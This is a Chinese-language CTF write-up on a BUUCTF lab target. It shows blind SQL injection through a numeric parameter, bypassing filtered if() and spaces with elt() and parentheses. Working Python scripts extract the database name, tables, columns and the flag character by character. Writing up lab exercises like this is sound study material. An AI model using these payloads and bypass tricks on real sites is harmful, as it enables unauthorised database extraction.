欢迎关注我的微信公众号《壳中之魂》
和之前的靶机差不多,也是一个登录框,但是多了几个按钮,标出来的局子也提醒了是通过sql盲注
对登录框做简单的fuzz
可以看到过滤了括号,所以报错注入派不上用场
但是可以注入的点不止这一个,点击主页的按钮,可以发现这里有个数字型注入,可以尝试盲注
做一下fuzz
只有少数几个关键字被过滤了,远没有刚才那个注入点多,但是if函数被过滤了,可以使用elt代替
首先判断一下是否可以使用
/search.php?id=elt(length(database())>1,6)
确定好可以使用elt函数进行盲注后,接下来就进入盲注阶段
由于此注入点过滤掉了空格,所以我采用()来绕过过滤,使用()绕过过滤有一个很大的问题就是会让语句很乱,所以我就现在本地,分段测试语句,确定语句可用后再在靶机上运行
在写脚本之前要先获取盲注的的判断规则,首先先确定语句正确和语句错误的区别
正确执行
错误执行
语法错误
首先先获取数据库的长度
可以看到长度为4
再判断数据库的名字,使用python脚本,由于buuctf的服务器加了个200状态码的判断,懂的都懂
import requests
q = []
# 将数字添加到列表中
for x in range(0, 10):
q.append(x)
# 将小写字母添加和逗号添加到列表
for x in range(ord("a"), ord("z")+1):
q.append(chr(x))
q.append(",")
# print(q)
for i in range(1, 5):
for s in q:
url = "http://cb93c4a8-bc95-43db-be46-28be43869ea1.node4.buuoj.cn:81/search.php?id="
url = url + "elt(substr((select(database())),%d,1)='%s',6)" % (i, s)
r = requests.get(url)
if(("ERROR!!!" not in r.text) and (r.status_code == 200)):
print(url)
break
# print(url)
看到数据库名为geek
接着再判断表名
import requests
q = []
# 将数字添加到列表中
for x in range(0, 10):
q.append(x)
# 将小写字母添加和逗号添加到列表
for x in range(ord("a"), ord("z")+1):
q.append(chr(x))
q.append(",")
# print(q)
for i in range(1, 17):
for s in q:
url = "http://cb93c4a8-bc95-43db-be46-28be43869ea1.node4.buuoj.cn:81/search.php?id="
# elt(substr((select group_concat(table_name) from information_schema.tables where table_schema='geek'),1,1)='e',6)
url = url + "elt(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1)='%s',6)" % (i, s)
r = requests.get(url)
if(("ERROR!!!" not in r.text) and (r.status_code == 200)):
print(url)
break
# print(url)
爆字段名,这里我遇到了奇怪的问题,不知道为什么,爆破出表名的时候,无论大小写都可以正确响应,但是爆字段的时候却需要区分大小写,我一开始输入的字段名为f1nal1y,但是爆破不出来,要换成F1naI1y才可以
import requests
q = []
# 将数字添加到列表中
for x in range(0, 10):
q.append(x)
# 将小写字母添加和逗号添加到列表
for x in range(ord("a"), ord("z")+1):
q.append(chr(x))
q.append(",")
# print(q)
for i in range(17, 21):
for s in q:
url = "http://cb93c4a8-bc95-43db-be46-28be43869ea1.node4.buuoj.cn:81/search.php?id="
# elt(substr((select group_concat(table_name) from information_schema.tables where table_schema='geek'),1,1)='e',6)
url = url + "elt(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1)='%s',6)" % (i, s)
r = requests.get(url)
if(("ERROR!!!" not in r.text) and (r.status_code == 200)):
print(url)
break
# print(url)
flag最终藏在password字段里,而且这个值还很长,花了很长的时间
import requests
q = []
# 将数字添加到列表中
for x in range(0, 10):
q.append(x)
# 将小写字母添加、逗号、-、{}添加到列表
for x in range(ord("a"), ord("z")+1):
q.append(chr(x))
q.append(",")
q.append("_")
q.append("-")
q.append("{")
q.append("}")
# print(q)
for i in range(1, 230):
for s in q:
url = "http://cb93c4a8-bc95-43db-be46-28be43869ea1.node4.buuoj.cn:81/search.php?id="
# elt(substr((select group_concat(table_name) from information_schema.tables where table_schema='geek'),1,1)='e',6)
url = url + "elt(substr((select(group_concat(password))from(F1naI1y)),%d,1)='%s',6)" % (i, s)
r = requests.get(url)
if(("ERROR!!!" not in r.text) and (r.status_code == 200)):
print(s, end="")
break
# print(url)
(结果因为靶机关了又跑了一次)
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。